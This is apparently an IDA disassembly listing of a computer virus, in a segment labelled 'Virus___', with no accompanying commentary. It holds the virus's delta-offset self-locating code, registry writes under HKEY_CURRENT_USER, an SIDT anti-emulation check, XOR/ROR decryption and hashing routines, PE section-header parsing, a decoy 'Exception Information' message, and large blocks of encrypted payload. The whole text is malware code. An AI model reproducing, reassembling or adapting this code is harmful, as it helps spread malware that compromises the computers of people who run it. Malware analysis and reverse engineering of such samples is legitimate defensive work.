		sub	[ebp+71B3099h],	eax
		popa
		mov	eax, eax
		jmp	loc_56E179
; ---------------------------------------------------------------------------
		dw 4
		dd 2E310000h, 303139h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_56E179:				; CODE XREF: Virus___:0056E02Dj
		cmp	dword ptr [ebp+71B1EF5h], 0
		jz	loc_56E2B3
		lea	eax, [ebp+71DA6D7h]
		push	eax
		lea	eax, [ebp+71DA641h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+71DA6E7h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2ED2h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA655h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2ED6h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA667h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2EE2h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA6B4h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2EEAh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA6D2h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2EE6h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA6BBh]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2EDAh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA6C3h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		lea	eax, [ebp+71E2EC8h]
		push	eax
		lea	eax, [ebp+71E2EDEh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+71DA6CAh]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B2B95h]
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B21A9h]
		jmp	loc_56E355
; ---------------------------------------------------------------------------


loc_56E2B3:				; CODE XREF: Virus___:0056E180j
		cmp	dword ptr [ebp+71B1FC9h], 0
		jz	loc_56E355
		cmp	dword ptr [ebp+71B2105h], 0
		jnz	loc_56E2DE
		mov	edx, [ebp+71B23D5h]
		add	edx, 1CF8h
		jmp	loc_56E2ED
; ---------------------------------------------------------------------------


loc_56E2DE:				; CODE XREF: Virus___:0056E2C7j
		lea	edx, [ebp+71B1545h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_56E2ED:				; CODE XREF: Virus___:0056E2D9j
		mov	[ebp+71B24BDh],	edx
		cmp	dword ptr [ebp+71B24BDh], 0
		jz	loc_56E355
		mov	ebx, [ebp+71B24BDh]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+71E2ED2h],	eax
		mov	ebx, [ebp+71B24BDh]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+71E2ED6h],	eax
		mov	ebx, [ebp+71B24BDh]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+71E2EE2h],	eax
		mov	ebx, [ebp+71B24BDh]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+71E2EE6h],	eax
		mov	ebx, [ebp+71B24BDh]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+71E2EDAh],	eax


loc_56E355:				; CODE XREF: Virus___:0056E2AEj
					; Virus___:0056E2BAj ...
		cmp	dword ptr [ebp+71B1EF5h], 0
		jnz	loc_56E36F
		cmp	dword ptr [ebp+71B1FC9h], 0
		jz	loc_56E3D7


loc_56E36F:				; CODE XREF: Virus___:0056E35Cj
		push	dword ptr [ebp+71E2EEAh]
		push	dword ptr [ebp+71E2EDEh]
		push	dword ptr [ebp+71E2EDAh]
		push	dword ptr [ebp+71E2EE6h]
		push	dword ptr [ebp+71E2EE2h]
		push	dword ptr [ebp+71E2ED6h]
		push	dword ptr [ebp+71E2ED2h]
		lea	eax, [ebp+71E2ECCh]
		push	eax
		lea	eax, [ebp+71E2F04h]
		push	eax
		lea	eax, [ebp+71B0685h]
		push	eax
		call	dword ptr [ebp+71B166Dh]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+71E2EEEh]
		push	eax
		lea	eax, [ebp+71B0685h]
		push	eax
		push	0
		call	dword ptr [ebp+71B2959h]
		push	1
		call	dword ptr [ebp+71B145Dh]


loc_56E3D7:				; CODE XREF: Virus___:0056E369j
		mov	eax, ecx
		jmp	short loc_56E3F3
; ---------------------------------------------------------------------------
		db 17h
		dd 9B46F3h, 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_56E3F3:				; CODE XREF: Virus___:0056E3D9j
		jmp	loc_56E603
; ---------------------------------------------------------------------------


loc_56E3F8:				; CODE XREF: Virus___:0056E40Dj
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 71E3298h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_56E3F8
; ---------------------------------------------------------------------------


loc_56E412:				; CODE XREF: Virus___:0056E417j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_56E412
; ---------------------------------------------------------------------------


loc_56E41C:				; CODE XREF: Virus___:0056E421j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_56E41C
; ---------------------------------------------------------------------------


loc_56E426:				; CODE XREF: Virus___:0056E42Bj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_56E426
; ---------------------------------------------------------------------------


loc_56E430:				; CODE XREF: Virus___:0056E435j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_56E430
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 71E32D0h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 71E32D4h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 0BD858B00h, 86071B24h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 71B183Dh, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 0BD858B00h,	0C6071B24h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 1B24BD85h, 0A188607h
		dd 0F6850FDBh, 0C7FFFFFFh, 1B146D85h, 7, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 71B146Dh
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ecx-3Dh]
; ---------------------------------------------------------------------------


loc_56E603:				; CODE XREF: Virus___:loc_56E3F3j
		mov	ax, ds
		test	al, 4
		jz	loc_56E637
		mov	dword ptr [ebp+71E3275h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+71E3279h]
		lea	eax, [ebp+71E3271h]
		lea	edi, [ebp+71E3279h]
		mov	[eax], edi
		jmp	loc_56E65A
; ---------------------------------------------------------------------------


loc_56E637:				; CODE XREF: Virus___:0056E608j
		lea	eax, [ebp+71B1545h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+71E3271h],	eax
		lea	eax, [ebp+71B1545h]
		mov	eax, [eax+3Ch]
		mov	[ebp+71E3275h],	eax


loc_56E65A:				; CODE XREF: Virus___:0056E632j
		lea	eax, [ebp+71E328Eh]
		mov	[ebp+71B183Dh],	eax
		jmp	loc_56E6F2
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_56E686
; ---------------------------------------------------------------------------


loc_56E67F:				; CODE XREF: Virus___:0056E688j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_56E686:				; CODE XREF: Virus___:0056E67Aj
		cmp	esi, edi
		jb	loc_56E67F
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_56E6AE
; ---------------------------------------------------------------------------


loc_56E6A7:				; CODE XREF: Virus___:0056E6B0j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_56E6AE:				; CODE XREF: Virus___:0056E6A2j
		cmp	esi, edi
		jb	loc_56E6A7
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_56E6E1
; ---------------------------------------------------------------------------


loc_56E6CE:				; CODE XREF: Virus___:0056E6E3j
		lodsb
		cmp	al, 2Dh
		jz	loc_56E6E1
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_56E6E1:				; CODE XREF: Virus___:0056E6C9j
					; Virus___:0056E6D1j
		or	ecx, ecx
		jnz	loc_56E6CE
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_56E6F2:				; CODE XREF: Virus___:0056E666j
		lea	eax, [ebp+71E3501h]
		mov	[ebp+71B0CD5h],	eax
		lea	eax, [ebp+71E3529h]
		mov	[ebp+71B0599h],	eax
		lea	eax, [ebp+71E3551h]
		mov	[ebp+71B058Dh],	eax
		call	sub_56E721
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4047D164h
		db 2Bh

; =============== S U B	R O U T	I N E =======================================



sub_56E721	proc near		; CODE XREF: Virus___:0056E716p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00542F20 SIZE 00000047 BYTES

		or	dh, 2Ch
		pop	esi
		jmp	loc_56E73D
; ---------------------------------------------------------------------------
		dw 0FFAFh
		dd 0F4D25539h, 5A703542h, 0FAD0B85Fh, 585B5132h
		db 39h
; ---------------------------------------------------------------------------


loc_56E73D:				; CODE XREF: sub_56E721+4j
		add	esi, 6427h
		jmp	loc_56E751
; ---------------------------------------------------------------------------
		dd 4E8F9BC7h, 2D105B09h
		db 0E3h
; ---------------------------------------------------------------------------


loc_56E751:				; CODE XREF: sub_56E721+22j
		mov	edi, 18DEh
		movsx	ebx, cx


loc_56E759:				; CODE XREF: sub_56E721:loc_56E7B7j
		mov	eax, [esi]
		mov	ebx, eax
		add	eax, 53B73F95h
		mov	ecx, 0ACA22E3h
		sub	eax, 377B2CF4h
		mov	edx, 537E9F51h
		add	eax, 350CEA7Fh
		mov	bx, dx
		mov	[esi], eax
		pusha
		mov	ax, di
		movsx	ebx, cx
		popa
		sub	esi, 4
		sub	dl, 43h
		sub	edi, 1
		jnz	loc_56E7A9
		mov	edx, 659ED40Ah
		jmp	loc_56E7CE
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		inc	ecx
		cmp	dword ptr [ebx], 144F505Ch
		jo	short loc_56E80C


loc_56E7A9:				; CODE XREF: sub_56E721+6Ej
		jmp	loc_56E7B7
; ---------------------------------------------------------------------------
		dw 0D927h
; ---------------------------------------------------------------------------
		and	ebx, [esi-21h]
		stosb
		cmpsb
		cmp	al, 59h


loc_56E7B7:				; CODE XREF: sub_56E721:loc_56E7A9j
		jmp	loc_56E759
; ---------------------------------------------------------------------------
		inc	byte ptr [ebx+66h]
		sbb	al, 85h
		sub	[ebp+3117A6E7h], esi
		jb	short loc_56E806
		and	esp, [edx]
		db	66h
		fxch4	st(5)


loc_56E7CE:				; CODE XREF: sub_56E721+79j
		jmp	short loc_56E7D8
; ---------------------------------------------------------------------------
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E7D8:				; CODE XREF: sub_56E721:loc_56E7CEj
		jmp	loc_56E858
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
		dd 0FE244C01h, 24C2835Ah, 2105858Bh, 858D071Bh,	71E674Bh
		dd 888B088Bh, 1000h, 8B660A8Bh,	8D89FC4Ah
		db 6Ah,	36h
; ---------------------------------------------------------------------------


loc_56E806:				; CODE XREF: sub_56E721+A6j
		push	ds
		pop	es
; ---------------------------------------------------------------------------
		assume es:___
		dd 226DBD83h
; ---------------------------------------------------------------------------


loc_56E80C:				; CODE XREF: sub_56E721+86j
		sbb	eax, [edi]
		add	[edi], cl
		test	[edi], cl
; ---------------------------------------------------------------------------
		dw 0
		dd 6A6000h, 128995FFh, 0E961071Bh, 0FFFFFFC4h, 0FC728966h
		dd 6610CEC1h, 52027289h, 895A04CDh, 1E366685h, 6AB58B07h
		dd 0C1071E36h, 896610CEh, 0B58B0272h, 71E366Ah,	0FC728966h
		dd 66858B61h, 0C3071E36h
; ---------------------------------------------------------------------------


loc_56E858:				; CODE XREF: sub_56E721:loc_56E7D8j
		lea	edx, [ebp+71B0151h]
		mov	[ebp+71B24BDh],	edx
		mov	[ebp+71B007Dh],	edx
		inc	dword ptr [ebp+71B007Dh]
		mov	byte ptr [ebp+71B1C05h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+71B225Dh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		mov	[ebp+71B1289h],	eax
		lea	eax, [ebp+71E32A8h]
		mov	[ebp+71B2A4Dh],	eax
		jmp	loc_56E8F2
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_56E8BC:				; CODE XREF: sub_56E721+1C6j
		cmp	ecx, 0
		jz	loc_56E8DB
		cmp	edi, [edx+0Ch]
		jg	loc_56E8E3
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_56E8DB:				; CODE XREF: sub_56E721+19Ej
					; sub_56E721+1CCj
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_56E8E3:				; CODE XREF: sub_56E721+1A7j
		add	edx, 28h
		dec	ecx
		jnz	loc_56E8BC
		jmp	loc_56E8DB
; ---------------------------------------------------------------------------


loc_56E8F2:				; CODE XREF: sub_56E721+17Bj
		mov	edx, 9FD3Eh
		jmp	short loc_56E919
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_56E919:				; CODE XREF: sub_56E721+1D6j
		jmp	loc_56EF0D
; ---------------------------------------------------------------------------
		jmp	loc_56EF06
; ---------------------------------------------------------------------------
		push	71E398Ch
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E3A51h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E3C3Fh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E3CB2h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		db 0DEh
		dd 0A42CFF14h, 6DE78459h, 37B1528Fh, 824A19C0h,	0F806A576h
		dd 4D8E6A35h, 14CD36BEh, 0A17CFD77h, 69A24A02h,	7B2476DAh
		dd 94C19D5Ch, 325C4EDCh, 8A1817C4h, 393F359Dh, 0D1ED2FE0h
		dd 0C7A50F39h, 9D44C325h, 0DA39A3Eh, 75AA7783h,	66D970FBh
		dd 0C9A6EEA2h, 36256DB9h, 13ED31Ch, 50EB7AADh, 5F13886Fh
		dd 3Fh,	736714Dh, 8B010D60h, 4C6E329Ch,	8F8DA366h, 69B04788h
		dd 77114351h, 3FD54A8Fh, 16E9981Fh, 0EA9649FEh,	6C94A99Eh
		dd 3D3A5446h, 90002B1Ch, 0E162752Eh, 0CCE694C1h, 24A05Bh
		dd 6E0E0000h, 8DA3664Bh, 0B6E4898Eh, 0A95295CDh, 0DE942094h
		dd 750FCA8Ah, 0C510CBC9h, 4594C1A6h, 274FFE29h,	393F6A84h
		dd 0C8642FE0h, 133C098Ah, 9FB34E5h, 4EF22DF0h, 0A35D3A9Ah
		dd 0EEC276Fh, 4ACE3ECDh, 9E5DF7A5h, 0AB94C443h,	0DA37510h
		dd 0A4306288h, 21D622CAh, 0E1AC9B1Eh, 0B152876Fh, 0C969D7EFh
		dd 5E871h, 0D1ED22F7h, 79FE8EB9h, 0DBFDA6F4h, 0BE14AD9Ch
		dd 0B1A86594h, 0EBCD3FE5h, 33AED05h, 599FA9EBh,	0F20AD722h
		dd 4D77E35h, 0BD0687F4h, 0B4AC63BEh, 0E69A9546h, 6585E232h
		dd 0D87261B1h, 40995E21h, 25DFF7CFh, 0BF1708D5h, 1C5E9988h
		dd 0ACA61AA4h, 2908F40h, 0DDBC13FAh, 0C87F6F83h, 7C67h
		dd 0C0474B00h, 16E56F2Dh, 0C97E54CBh, 5404A49Fh, 0D0794A9h
		dd 0A1FD32EFh, 9BAD08F3h, 12D94C1h, 0AC2F3706h,	0EDBC3A5Ch
		dd 54FEDCF4h, 1CD477A8h, 53FB3FD0h, 0A0575B18h,	35E8C6Fh
		dd 49B30000h, 8C79F390h, 34C28A59h, 6F8C44E7h, 0A35711B2h
		dd 8A95AD7Eh, 45E63B3Fh, 1AA9608Bh, 0A97AA752h,	6102D71Fh
		dd 7AE8983h, 8B94C19Fh,	0DFE7F7FBh, 2E14208Eh, 8A7DAA2Eh
		dd 320h, 9A393FE4h, 5DD207F0h, 65FBDA41h, 0E6F48DA3h, 0BFBEB278h
		dd 59717D3Eh, 179C3FE6h, 8BFD8DA4h, 0A41805D0h,	0BE69858Dh
		dd 0A41754E7h, 181CBC8Dh, 0E3F68DA4h, 0F8DA417h, 8DA417ACh
		dd 0A4187544h, 1CC814CDh, 0B93988B5h, 7FF870B7h, 77F3ACEEh
		dd 0F354A838h, 0B3B444FBh, 15C38B2Ah, 0BAD263D8h, 82B3DC18h
		dd 51DB9539h, 0E25486D6h, 0C09F9E39h, 1F082254h, 0CB79C244h
		dd 0EE0A205Bh, 9E735868h, 99F37A95h, 6E000002h,	34BC4F84h
		dd 0FD7714C9h, 4701A27Fh, 12DA69B0h, 689635E6h,	0DD7EFAC5h
		dd 64BD460Eh, 31EC0DC7h, 0F912DA92h, 0EBD4C62Ah, 94C19FCCh
		dd 3FB2BE4Ch, 1CBB4037h, 0A3659423h, 0C61E148Dh, 0E25D7549h
		dd 32600D0Ah, 0F2469EC0h, 0FBAEE2EAh, 279225EEh, 649D8DA4h
		dd 11144E5Dh, 72FCCh, 0A9FBFD41h, 0D6757194h, 6003D81Eh
		dd 0CBC912E8h, 0D306EF99h, 0C2046D48h, 46C1ED94h, 9175418Bh
		dd 98215DF4h, 55D2AA9Dh, 4501FAD8h, 0A99BC82Ch,	0C4CF6CADh
		dd 9E34EB34h, 5F5EA556h, 1EBD6407h, 0DB8DA419h,	18C3D15Ch
		dd 94AA0550h, 781280AAh, 0C0885B8Ch, 4FB1E334h,	0C1EA4194h
		dd 62A5C194h, 0EEB65B7h, 3E8D54D3h, 0FB94C1EAh,	71A3F17Ch
		dd 0E981540Fh, 0C33894C1h, 702B5D1Eh, 94C1EA65h, 76B1C9E5h
		dd 0C7D6A7AFh, 91032B9Bh, 1630CC45h, 0FE2970AFh, 8758A4AEh
		dd 9942B4E4h, 8DA3E73Eh, 0D0E90649h, 0A0531955h, 433E628Ah
		dd 15B5DB6Eh, 1DA2212h,	0DF02F993h, 0E7E2AD68h,	28DA401h
		dd 712A6805h, 94A9EEF5h, 972F6D79h, 7BAD7F05h, 304F77EBh
		dd 0B8737E3Ch, 0A8A2FA2Dh, 0AF06F15Ch, 3394C1E2h, 8CAF662Bh
		dd 257DAE87h, 0EF67E0Dh, 95925AD5h, 0A1C1BA18h,	349BC759h
		dd 13ED31Ah, 0ABC37AADh, 960EAD74h, 0D198DA3h, 75E41FC5h
		dd 25AB9388h, 8F000000h, 0EBCAB5E7h, 6F8DA365h,	0BA01C047h
		dd 7E8DA368h, 1Fh, 2AF7040Eh, 5CFD7BF5h, 70A94E04h, 9620E7BFh
		dd 3E44DFE7h, 0F78892h,	0D67D5C07h, 47628DA3h, 0E56F2DC0h
		dd 0C5CCB16h, 0A9520B53h, 35678F94h, 0E158F5A9h, 2C17E931h
		dd 94C1D989h, 42C51D09h, 0CB62E597h, 0B314EEC9h, 35679BCCh
		dd 0A8C46B4Ah, 40C7EF8Dh, 42975FE9h, 0A520E2Ah,	6CA35E74h
		dd 0AB8Dh, 5DF60000h, 0EA3FC68Eh, 0B0698F59h, 7FA25913h
		dd 0BD424ACh, 8CD74678h, 5810B36Ch, 1FA97AAFh, 0EC6407DAh
		dd 0D03CCF00h, 0A1BA1DC6h, 0AC3E94C1h, 2DC04780h, 6998576Fh
		dd 0A821F006h, 0EA722D7Fh, 6C94AA4Eh, 57C815E4h, 0A0E8277Fh
		dd 8BDF1D14h, 78AF7BEFh, 0B4E68780h, 425F5628h,	0AC9BC721h
		dd 286D837Ch, 618D9BCDh, 73A61755h, 402BE45Eh, 38h, 1DAE638Dh
		dd 0D477AA53h, 6E3DDE1Ch, 3BC811E6h, 0F79449B1h, 0E11964CBh
		dd 1AE56F3Ch, 4DAC24C7h, 8D79F390h, 73A58B58h, 0C1A22D88h
		dd 1519AD94h, 346h, 0F10D2800h,	231C353Fh, 1F10C531h, 1609D425h
		dd 33CD51Eh, 0FB34E911h, 0F32CF109h, 0E827FA01h, 0E6598278h
		dd 0DD52876Eh, 595451D3h, 4C181h, 0E9830000h, 240C8704h
		dd 3D2F685Ch, 3C890000h, 34AD6824h, 2C890000h, 7F685224h
		dd 8B387574h, 0C4832414h, 7FCA8104h, 81307240h,	0A6C362C2h
		dd 5AD789CEh, 242C8B54h, 4C481h, 81570000h, 61432434h
		dd 458F15DEh, 0FBB5308h, 814E7C20h, 1A3701CBh, 4CF3810Eh
		dd 315BA056h, 8B5B085Dh, 8956242Ch, 4C681E6h, 83000000h
		dd 348704C6h, 34FF5C24h, 0C4815F24h, 4,	0FD401FE9h, 759F9EFFh
; ---------------------------------------------------------------------------
		adc	al, 0E6h


loc_56EF06:				; CODE XREF: sub_56E721+1FDj
		mov	eax, 71E3D0Fh
		add	eax, ebp


loc_56EF0D:				; CODE XREF: sub_56E721:loc_56E919j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_56F538
; ---------------------------------------------------------------------------
		jmp	loc_56F531
; ---------------------------------------------------------------------------
		push	71E3EA6h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E3FB3h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4051h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E411Ch
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4257h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		db 0DCh, 12h, 0F9h
		dd 865BA22Ah, 4C8D6BE5h, 1BC635BFh, 0A7788048h,	6833FA04h
		dd 34BC4F90h, 0FB7516CBh, 4800A37Eh, 74D86BBCh,	0A35E7922h
		dd 50E294C1h, 9BB5E75Ch, 4097BC5Dh, 0C08DA366h,	17A27DAAh
		dd 0FB8DA366h, 8DA365DCh, 0A365A434h, 0AE4DC78Dh, 21E6BC73h
		dd 0A3665B7Eh, 0E5143E8Dh, 0EE0D0738h, 752C1B33h, 8DA36667h
		dd 0A366308Bh, 5D6EE90Dh, 0F7CF409Dh, 8802FDDFh, 8314AE6Ch
		dd 0E9D7C13Bh, 0E95E7EA4h, 0CC46545Eh, 9953F02Dh, 0EA82BD60h
		dd 60D2C06Dh, 0BED920B7h, 9D8AA014h, 866F194Bh,	0D9674E29h
		dd 0C3EB14BEh, 71FC74ABh, 3B5363DCh, 0B1D3550Ch, 0DFD71BC9h
		dd 7915AB9Bh, 34C758DEh, 46Dh, 0E9BA6F99h, 0A043965Fh
		dd 7A09D228h, 37D405F2h, 0C360BDBDh, 0D52570BFh, 6F17B08h
		dd 41B830D3h, 0F905CF9Ch, 6FA98724h, 0C1A421B4h, 111DA194h
		dd 0B440373Fh, 0DD44B63h, 8DA365AFh, 9E55BD69h,	66EEBD56h
		dd 5ACA459Eh, 2C67992h,	23CB064Eh, 194B5DEEh, 65E9CCB7h
		dd 7D698DA3h, 0A365FFD6h, 0BC6B838Dh, 88A68AA5h, 3D50593h
		dd 3FE90000h, 622DE237h, 8DA36658h, 6AA1F1A5h, 56BA4982h
		dd 0ED2ECA44h, 65E1F4AFh, 45618DA3h, 6D18AC2h, 8A8DA366h
		dd 44B5AF60h, 0FA02CA99h, 0A4AEEE21h, 9C948B54h, 0BC6B835Ch
		dd 3A04DCCh, 0CE78BD49h, 0FA7C1A14h, 0DDF52ED6h, 0FAA51785h
		dd 8DA368DBh, 25D0575Fh, 78AD59F3h, 8A75EFC7h, 5DCAD857h
		dd 52F128D3h, 816C7A42h, 84BC4834h, 3F9C083h, 0BF488DA4h
		dd 44C3B56Ah, 0ACB502B9h, 0C51DFCE7h, 225965D7h, 0F45A8C25h
		dd 50CE9196h, 8294AE4Ch, 49024C68h, 1CF3575Eh, 3605Dh
		dd 0A9628C00h, 76AB521Ah, 3CDD1BD5h, 0CB16E56Fh, 9748B038h
		dd 1863CAF4h, 0E46C3FE0h, 0AB25C61Bh, 78F0934Eh, 0A4885B8Ch
		dd 0A52E8972h, 20B294C1h, 40373F0Ch, 1AA867B8h,	2BD34DC2h
		dd 3CC739F6h, 0E10BB5F5h, 0AF8899B8h, 8DA40208h, 224A6288h
		dd 394D56A3h, 8E5D7548h, 0A39B0497h, 2EB658Dh, 328958CFh
		dd 8F8DA3ABh, 0D7EFAD64h, 4FB4972Eh, 0D7828533h, 0A450AD0Ch
		dd 42EB6C8Dh, 2E956750h, 5AF494AFh, 7D580392h, 0FD94BF33h
		dd 4C66D9F1h, 2E4A60DBh, 575DA12Ah, 0C2B544DBh,	6E000002h
		dd 34BC4F84h, 0FD7714C9h, 4701A27Fh, 12DA69B0h,	689635E6h
		dd 0DD7EFAC5h, 64BD460Eh, 31EC0DC7h, 0F912DA92h, 0EBD4C62Ah
		dd 94C1A5CCh, 3FB2BE4Ch, 332DE237h, 388416CBh, 0FB92CD06h
		dd 8732F5E6h, 0AC111C1h, 0C39A29E2h, 93883728h,	62752E90h
		dd 0E68DA3C9h, 3CF65BCCh, 0D8000002h, 0A3664B6Eh, 0DE03F68Dh
		dd 0BF19B0Dh, 1ADF51D6h, 0D6499465h, 0F96BA4FCh, 0BE62DD00h
		dd 4106506Ch, 1998DF92h, 2D7A81D1h, 62A5DF29h, 4CAD64ACh
		dd 0D06BF291h, 0DF93880Eh, 62h,	8C6DE7B3h, 2126D651h, 0A7550E8Ch
		dd 2394AE59h, 918E53A9h, 72399C47h, 0ADB994BEh,	795C0795h
		dd 0F994BE72h, 0C3A1D5EDh, 30575E62h, 1F71CDFh,	0D9230000h
		dd 1CE96300h, 44B23AC9h, 0FF7CF497h, 33C78122h,	0FA255DEEh
		dd 0F5964BAFh, 8A59F07Bh, 59EA37C2h, 11B2678Fh,	973E1933h
		dd 1B94C1A6h, 715B678Bh, 2BF6050Fh, 6275DEF4h, 0E68DA366h
		dd 354D866Eh, 0DEE1DAF2h, 528DA365h, 8C6DE758h,	1CD60BF3h
		dd 44E73FD0h, 0EDAF608Ch, 65F5C0BBh, 79758DA3h,	0F06903CEh
